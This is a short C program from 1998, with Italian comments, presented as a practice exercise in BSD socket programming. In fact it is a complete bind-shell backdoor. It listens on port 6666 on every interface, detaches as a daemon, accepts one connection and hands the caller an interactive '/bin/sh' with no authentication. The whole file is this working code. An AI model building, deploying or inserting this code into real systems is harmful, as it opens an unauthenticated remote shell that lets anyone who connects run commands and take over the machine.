/*
 *  TCPShell.c    Semplice Shell raggiungibile via socket
 *      Scritta solo per impratichirmi delle basi della
 *      programmazione dei socket BSD.
 *  
 *      no(C)1998 by fusys
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

#define  LISTENQ    1    /* listen() backlog */

int main (int argc, char *argv[])
{
     int lsocket ;    /* socket per listen() */
  int csocket ;    /* socket per connect() */

  struct sockaddr_in laddr ;  /* struttura IPv4 del demone */
  struct sockaddr_in caddr ;  /* struttura IPv4 del client */
  
  socklen_t len ;    /* dimensioni della struttura IPv4 */
  
  pid_t pid ;    /* tipo pid per il fork() */
  
   /* apriamo il server con socket(), bind() e listen() */

   if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  perror("socket error");
  return(10);
   }

   len = sizeof(laddr) ;
   memset(&laddr, 0, len) ;  
   laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
   laddr.sin_family = AF_INET ;
   laddr.sin_port = htons(6666) ;  /* apriamo sulla porta 6666 */
   if((bind(lsocket, (const struct sockaddr *)&laddr, len))) {
  perror("bind error");
  return(10);
   } 
   if(listen(lsocket, LISTENQ)) {
  perror("listen error");
  return(10);
   }

   /* ora TCP se ne va nel paese dei demoni e si becca come
    * parente init, pronto a seccarlo alla conclusione   */

   if ((pid=fork()) == -1) {
  perror("Fork #1");
  return(20);
   }
   if (pid > 0) exit(0);  /* parente */
   setsid() ;      /* figlio */  
  
   /* ora accettiamo UNA connessione  */ 

     len = sizeof(caddr);
     if((csocket=accept(lsocket, &caddr, &len)) < 0) {
    perror("socket accept");
    abort();
     }
  
  dup2(csocket,0);
  dup2(csocket,1);
  dup2(csocket,2);

  system("/bin/sh -i");
  exit(0);
}